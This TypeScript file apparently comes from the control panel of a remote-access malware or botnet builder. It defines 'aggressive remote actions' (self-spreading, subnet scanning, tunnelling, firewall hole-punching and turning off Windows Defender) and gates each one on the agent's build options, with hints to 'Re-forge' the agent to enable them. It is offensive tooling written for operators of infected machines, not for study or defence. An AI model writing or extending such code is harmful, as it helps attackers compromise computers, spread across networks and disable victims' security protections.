import type { AgentCapabilities } from '../types';

/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
export const AGGRESSIVE_REMOTE_ACTIONS = [
  'hole_punch',
  'hole_punch_close',
  'hole_punch_status',
  'spread_now',
  'start_tunnel',
  'subnet_scan',
  'defender_off',
  'firewall_punch',
  'mesh_status',
] as const;

export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];

export function canRunAggressiveAction(
  action: AggressiveRemoteAction,
  caps?: AgentCapabilities | null,
  platform?: string
): boolean {
  if (platform === 'darwin' && action === 'defender_off') return false;
  if (!caps) return true;
  switch (action) {
    case 'hole_punch':
    case 'hole_punch_close':
    case 'hole_punch_status':
      return caps.hole_punch;
    case 'spread_now':
      return caps.auto_spread || caps.remote_aggressive;
    case 'start_tunnel':
    case 'subnet_scan':
    case 'defender_off':
    case 'firewall_punch':
      return caps.remote_aggressive;
    case 'mesh_status':
      return caps.mesh_p2p;
    default:
      return false;
  }
}

export function aggressiveActionHint(
  action: AggressiveRemoteAction,
  caps?: AgentCapabilities | null,
  platform?: string
): string | undefined {
  if (platform === 'darwin' && action === 'defender_off') {
    return 'Defender disable not supported on macOS';
  }
  if (canRunAggressiveAction(action, caps, platform)) return undefined;
  switch (action) {
    case 'hole_punch':
    case 'hole_punch_close':
    case 'hole_punch_status':
      return 'Re-forge with Advanced → NAT Hole Punch';
    case 'spread_now':
      return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
    case 'mesh_status':
      return 'Re-forge with Mesh P2P';
    default:
      return 'Re-forge with Remote Aggressive Ops (Advanced)';
  }
}
